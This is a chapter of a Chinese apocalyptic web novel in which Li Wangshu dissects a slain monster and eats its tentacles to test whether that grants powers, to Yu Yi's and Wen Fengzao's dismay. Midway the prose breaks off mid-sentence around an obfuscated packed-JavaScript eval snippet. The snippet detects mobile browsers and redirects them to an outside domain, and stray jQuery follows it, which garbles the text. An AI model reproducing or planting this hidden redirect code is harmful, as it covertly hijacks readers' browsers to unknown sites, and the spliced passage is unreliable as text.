阴暗的车库角落里,血液的腥气与潮气在空气中蔓延,黎望舒微微直起腰,打量着地上成了一堆碎片的彼岸,手中的小刀仍在滴血。
彼岸的腹腔、头颅、手臂都被剖开,血肉组织袒露在空气中,甚至心脏里头都被黎望舒翻了个遍,但从中没有发现任何特殊的物体。
“没有吗。”黎望舒喃喃自语,目光投向了被她分割好放在一旁的触手。
本以为能从中找到丧尸晶核一类的东西……果然,不能将末世小说作为参考啊。这样一来,就只剩下一条路了。
郁仪一言不发地蹲在一边,眼睁睁地看着她满手是血地抹了把额头,连脸上都沾上了彼岸的淡红色血液,忍不住嘴角一抽,差点破功出声。
他对黎望舒先前的做法心怀不满,现在正在进行禁言抗议,但黎望舒的心思都放在彼岸身上,一直低着头忙碌,连眼皮都没有掀过一下……他无声的抗议,根本没被她注意到。
郁仪心中刚生出一股挫败感,就见黎望舒抬眸盯了他一眼,手指竖在唇边,似乎是示意他不要出声。
“?”但他本来就没说话啊。
他正迷茫着,就见黎望舒突然从旁边的一堆触手里捡了一根出来,拎在面前凝视半晌后,猛地塞进了口中。
“……!”
郁仪大惊失色,顿时顾不上什么抗议了,大步上前捏住她的脸颊,想让她吐出来,压低声音斥道:“你做什么!”
口中的触手咬起来冰凉有弹性,口感意外地很不错,但味道一言难尽,腥味几乎直直地冲上了天灵盖……黎望舒不敢细品,掰开郁仪的手,强忍着将它吞了下去,又拧开了备在一旁的水瓶,灌了几大口才勉强清掉了口腔里的怪味。
“你咽下去了?”郁仪面色铁青,手指微微一动,恨不得扣着喉咙口让她吐出来,“我们明明储存了那么多的物资,你为什么要……”
“还记得虫母说过的话吗?”黎望舒缓了口气,“在地下巢穴里,它误以为你有超能力时,脱口而出的那句话。”
郁仪凝神回忆片刻后,找回了那段被他忽略的记忆:“它说的好像是,人类之所以能得到能力,是因为吞了它的同胞?”
“没错。”黎望舒点头,“食用也是一种吞噬,我想试试。”
“那也不能用自己冒险。”郁仪不赞同地蹙眉,“别吃了,下次再遇到劫道的人,我活捉两个回来给你做实验品。”
“没想到会从你口中听到这么缺德的方案。”黎望舒有些意外,“我还以为像你这种仙气飘飘的剑客,应该会心怀苍生、以保护人类为己任。你师父没传给你祖训或是师门教条吗?”
“哪里看来的刻板印象。”郁仪有些无奈,“师父只教过我剑术,我从来都不是高尚的人,你把我想得太善良了。”
“因为你一直表现得很无私。”黎望舒说,“以你的能力明明可以独善其身,却偏要跟在我们身边保护,一路走来,哪怕被托付了艰难的任务,甚至差点死在图书馆,也从没见你抱怨过,不是吗?”
“那是因为——”郁仪一时语塞,下意识错开了视线,“……因为我想待在你身边。”
“我的道德底线不高。陌生人的死活我不在乎,也从不认为自己有义务拯救他们,我……只在乎你,所以也想保护你珍视的同伴。如果没有你,我甚至不会下山——”鼓起勇气向她剖析自己的内心,郁仪一边说,一边紧张地抬眸看向黎望舒,却看到她眼神失焦地望向前方,不知在想些什么,嘴里不知何时又咬上了一截触手。
……宁愿吃这种东西都不愿意听他说话?
“——你在听吗?”气得大脑发胀,郁仪说不下去了,崩溃地将声音提高,“算我求你,别吃了!不是说好了用其他人来尝试吗?”
“我又没答应。”黎望舒叼着触手一脸无辜,“我可以等,但这些触手不行。现在不吃的话,它们会腐烂的。”
“你非要把它们全吃完?”
黎望舒点头。
那是认真的眼神,她没在开玩笑——意识到这一点的那一瞬间,郁仪的太阳穴开始隐隐作痛。
他了解的黎望舒一向不为外物所动摇,决定好要去做的事情后就不会回头,仅凭自己无法改变她的想法……既然这样,就只能换一种方法了。
郁仪沉默地看着她吞下了口中的东西,就在她伸手去拿下一条触手的时候,他吸了口气,伸手轻轻拽住了她的袖子,低声开口:“让我也吃一点。”
“你确定?”黎望舒讶异地回头看他,“你连海带结都吃不下,这个腥气更重,你接受不了的。”
“我可以的。”郁仪从她手中接过一条触手,坚定地说:“我没有能力也没有触手,比你更适合做实验品。剩下的触手都是我的,你别再吃了。”
既然黎望舒已经吃了,那他也没什么好怕的。就算最后真的吃出问题了,至少他们两个能死在一起,也算是件好事。
郁仪将触手夹在指间,不愿细看它的模样,重重吐出一口气后,视死如归地将它放入口中,然后维持着这个姿势僵在了原地。
黎望舒饶有兴趣地打量着他的反应。
……牙齿咬在触手表面的那一瞬间,一股混着铁锈味的腥气立刻冲入鼻腔,郁仪用尽了毕生理智,才勉强压下了立刻将它吐出来的冲动。牙齿嵌入冰冷的触手内部,强烈的生鲜感袭来,让他意识到口中的食物未被烤熟,口感又韧又滑又脆,橡皮筋似的难以咬断……他从未发觉,咀嚼居然是如此困难的一件事。
总算将触手咬成了两段,但喉咙口像是被上了锁似的,半截触手卡在上面怎么也咽不下去,来来回回地反而催发出了呕吐欲,他紧紧捂住嘴唇,额头渗出冷汗。
“算了吧。”黎望舒将水瓶递给他,“别勉强了,吐出来。”
郁仪接过了水,却梗着脖子不愿吐,反而又灌了一大口水,将两截触手硬生生地送服下去了。
“……再来一条!”
缓了好一会儿,他好不容易喘匀了气,面色白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895046|158285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得像鬼,居然还不打算放弃……黎望舒甚至有些佩服他的决心了。
“你不能再吃了。”黎望舒叹了口气,“别露出那种表情——我也不吃了。”
郁仪一怔:“真的?”
“这不就是你的目的吗,满意了吧。”黎望舒丢开用来切割触手的小刀,拍了拍手上血液凝成的碎屑,“我本来就没对这种方法抱有期待,也不觉得这么简单就能得到能力,吃它更多是因为好奇它的味道。”
“好奇……”郁仪呆住了。
“你不会真的相信,我会把那堆触手全吃光吧。”黎望舒微微眯起双眼,“真是天真得可爱。”
看到她熟悉的、带着点坏心眼的微笑,郁仪腰眼一麻,耳根发烫:“因为……因为你看起来很认真。”
“哈哈……说明我糊弄人的本事了得。”黎望舒忍不住笑起来,“不过我没想到你会这么抗拒,对我来说,触手的味道其实还不错——第一口冲击力很大,到了第二口就习惯了,甚至有些上头。”
说着,她又拎起一根触手,叼在嘴边,冲他眨了眨眼。
“你……少吃点吧。”郁仪叹了口气,没力气再去阻止她了。
吃都吃了,多一口少一口也差不了多少。
“你们俩窝在这儿干什么呢?怎么还吃上了。”
背后传来闻风藻的声音,黎望舒一个激灵,迅速将露在外面的一小节触手吸回口中。
郁仪向来对她言听计从,就算闹了别扭也非常好哄,所以她敢在他面前肆无忌惮,但闻风藻不一样……吃触手的事,绝不能让他发现!
——但已经晚了。
闻风藻眼睁睁看着她嗦面条似的,将一小段条形物体吸入口中,虽然没看清那究竟是什么东西,但结合旁边切得整齐的一盘触手和郁仪略带心虚的表情,他很容易便联想到了真相。
“……”他笑容消失,面色逐渐泛起了青,视线在面前的二人身上打了个转,张了张口,又突兀地闭上了嘴巴。
“有事吗?”黎望舒面带微笑,将触手压在舌下,含糊地问。
“……你在吃什么?”闻风藻又拿出了他的招牌假笑,一字一顿地问。
“从彼岸巢穴里淘来的小零食。”黎望舒说,“这是最后一点了。”
她面色如常,表现得非常自然,闻风藻狐疑地盯了她片刻,正要打消疑虑时,目光一偏,发现了郁仪爆红的耳朵,“……”
“……”黎望舒顺着他的视线望去,一时间也说不出话了。
郁仪这家伙,是真的不擅长说谎啊。
“怎、怎么了?”被这两个人紧盯着,郁仪强装镇定,欲盖弥彰道:“她吃得确实是小零食,绝不是什么奇怪的东西。”
“好了,你不要再说了。”眼看郁仪越描越黑,黎望舒干脆破罐子破摔,“没什么大不了的,一点小海鲜而已。”
“你管它……这玩意儿叫小海鲜??”闻风藻难以置信地压低了声音,“你这样和吃人有什么区别!”